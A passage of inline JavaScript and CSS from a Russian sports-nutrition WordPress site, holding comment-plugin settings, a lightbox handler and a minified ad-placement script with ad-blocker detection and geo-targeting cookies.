\u0430\u0432\u0442\u043e\u0440\u0430.","wc_follow_email_confirm":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u0439 email \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443.","wc_follow_email_confirm_fail":"\u041e\u0447\u0435\u043d\u044c \u0436\u0430\u043b\u044c, \u043d\u043e \u043c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f.","wc_follow_login_to_follow":"\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0439\u0442\u0435\u0441\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.","wc_follow_impossible":"\u041e\u0447\u0435\u043d\u044c \u0436\u0430\u043b\u044c, \u043d\u043e \u0432\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.","wc_follow_not_added":"\u041f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u043f\u043e\u0437\u0436\u0435.","is_user_logged_in":"","commentListLoadType":"0","commentListUpdateType":"0","commentListUpdateTimer":"60","liveUpdateGuests":"0","wordpressThreadCommentsDepth":"5","wordpressIsPaginate":"","commentTextMaxLength":"0","replyTextMaxLength":"0","commentTextMinLength":"1","replyTextMinLength":"1","storeCommenterData":"100000","socialLoginAgreementCheckbox":"1","enableFbLogin":"0","fbUseOAuth2":"0","enableFbShare":"0","facebookAppID":"","facebookUseOAuth2":"0","enableGoogleLogin":"0","googleClientID":"","googleClientSecret":"","cookiehash":"0e33e69bd200cd3882d40e542335cd40","isLoadOnlyParentComments":"0","scrollToComment":"1","commentFormView":"collapsed","enableDropAnimation":"1","isNativeAjaxEnabled":"1","enableBubble":"0","bubbleLiveUpdate":"0","bubbleHintTimeout":"45","bubbleHintHideTimeout":"10","cookieHideBubbleHint":"wpdiscuz_hide_bubble_hint","bubbleShowNewCommentMessage":"1","bubbleLocation":"content_left","firstLoadWithAjax":"0","wc_copied_to_clipboard":"\u0421\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u0431\u0443\u0444\u0435\u0440 \u043e\u0431\u043c\u0435\u043d\u0430.","inlineFeedbackAttractionType":"blink","loadRichEditor":"1","wpDiscuzReCaptchaSK":"","wpDiscuzReCaptchaTheme":"light","wpDiscuzReCaptchaVersion":"2.0","wc_captcha_show_for_guest":"0","wc_captcha_show_for_members":"0","wpDiscuzIsShowOnSubscribeForm":"0","wmuEnabled":"1","wmuInput":"wmu_files","wmuMaxFileCount":"1","wmuMaxFileSize":"2097152","wmuPostMaxSize":"1047527424","wmuIsLightbox":"1","wmuMimeTypes":{"jpg":"image\/jpeg","jpeg":"image\/jpeg","jpe":"image\/jpeg","gif":"image\/gif","png":"image\/png","bmp":"image\/bmp","tiff":"image\/tiff","tif":"image\/tiff","ico":"image\/x-icon"},"wmuPhraseConfirmDelete":"\u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435?","wmuPhraseNotAllowedFile":"\u041d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0439 \u0442\u0438\u043f \u0444\u0430\u0439\u043b\u0430","wmuPhraseMaxFileCount":"\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 1","wmuPhraseMaxFileSize":"\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 2MB","wmuPhrasePostMaxSize":"\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f 999MB","msgEmptyFile":"File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.","msgPostIdNotExists":"ID \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442","msgUploadingNotAllowed":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430","msgPermissionDenied":"\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f","wmuKeyImages":"images","wmuSingleImageWidth":"auto","wmuSingleImageHeight":"200","version":"7.3.7","wc_post_id":"1656","isCookiesEnabled":"1","loadLastCommentId":"0","dataFilterCallbacks":[],"phraseFilters":[],"scrollSize":"32","is_email_field_required":"1","url":"https:\/\/sportpit18.ru\/wp-admin\/admin-ajax.php","customAjaxUrl":"https:\/\/sportpit18.ru\/wp-content\/plugins\/wpdiscuz\/utils\/ajax\/wpdiscuz-ajax.php","bubbleUpdateUrl":"https:\/\/sportpit18.ru\/wp-json\/wpdiscuz\/v1\/update","restNonce":"9e6fa61145"}; var wpdiscuzUCObj = {"msgConfirmDeleteComment":"\u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439?","msgConfirmCancelSubscription":"\u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443?","msgConfirmCancelFollow":"\u0423\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443?","additionalTab":"0"};</script> <script type='text/javascript' id='wpdiscuz-combo-js-js-before'>var wpdiscuzEditorOptions = { modules: { toolbar: "", counter: { uniqueID: "", commentmaxcount : 0, replymaxcount : 0, commentmincount : 1, replymincount : 1, }, }, wc_be_the_first_text: "\u041e\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439!", wc_comment_join_text: "\u041f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044e", theme: 'snow', debug: 'error' };</script> <script type='text/javascript' id='jquery-fancybox-js-after'>var fb_timeout, fb_opts={'overlayShow':true,'hideOnOverlayClick':true,'showCloseButton':true,'margin':20,'centerOnScroll':false,'enableEscapeButton':true,'autoScale':true }; if(typeof easy_fancybox_handler==='undefined'){ var easy_fancybox_handler=function(){ jQuery('.nofancybox,a.wp-block-file__button,a.pin-it-button,a[href*="pinterest.com/pin/create"],a[href*="facebook.com/share"],a[href*="twitter.com/share"]').addClass('nolightbox'); /* IMG */ var fb_IMG_select='a[href*=".jpg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpg"]:not(.nolightbox),a[href*=".jpeg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpeg"]:not(.nolightbox),a[href*=".png"]:not(.nolightbox,li.nolightbox>a),area[href*=".png"]:not(.nolightbox),a[href*=".webp"]:not(.nolightbox,li.nolightbox>a),area[href*=".webp"]:not(.nolightbox)'; jQuery(fb_IMG_select).addClass('fancybox image'); var fb_IMG_sections=jQuery('.gallery,.wp-block-gallery,.tiled-gallery,.wp-block-jetpack-tiled-gallery'); fb_IMG_sections.each(function(){jQuery(this).find(fb_IMG_select).attr('rel','gallery-'+fb_IMG_sections.index(this));}); jQuery('a.fancybox,area.fancybox,li.fancybox a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'transitionIn':'elastic','easingIn':'easeOutBack','transitionOut':'elastic','easingOut':'easeInBack','opacity':false,'hideOnContentClick':false,'titleShow':true,'titlePosition':'over','titleFromAlt':true,'showNavArrows':true,'enableKeyboardNav':true,'cyclic':false}))}); /* YouTube */ jQuery('a[href*="youtu.be/"],area[href*="youtu.be/"],a[href*="youtube.com/"],area[href*="youtube.com/"]').filter(function(){return this.href.match(/\/(?:youtu\.be|watch\?|embed\/)/);}).not('.nolightbox,li.nolightbox>a').addClass('fancybox-youtube'); jQuery('a.fancybox-youtube,area.fancybox-youtube,li.fancybox-youtube a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'type':'iframe','width':640,'height':360,'keepRatio':1,'titleShow':false,'titlePosition':'float','titleFromAlt':true,'onStart':function(a,i,o){var splitOn=a[i].href.indexOf("?");var urlParms=(splitOn>-1)?a[i].href.substring(splitOn):"";o.allowfullscreen=(urlParms.indexOf("fs=0")>-1)?false:true;o.href=a[i].href.replace(/https?:\/\/(?:www\.)?youtu(?:\.be\/([^\?]+)\??|be\.com\/watch\?(.*(?=v=))v=([^&]+))(.*)/gi,"https://www.youtube.com/embed/$1$3?$2$4&autoplay=1");}}))});}; jQuery('a.fancybox-close').on('click',function(e){e.preventDefault();jQuery.fancybox.close()}); }; var easy_fancybox_auto=function(){setTimeout(function(){jQuery('#fancybox-auto').trigger('click')},1000);}; jQuery(easy_fancybox_handler);jQuery(document).on('post-load',easy_fancybox_handler); jQuery(easy_fancybox_auto);</script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div 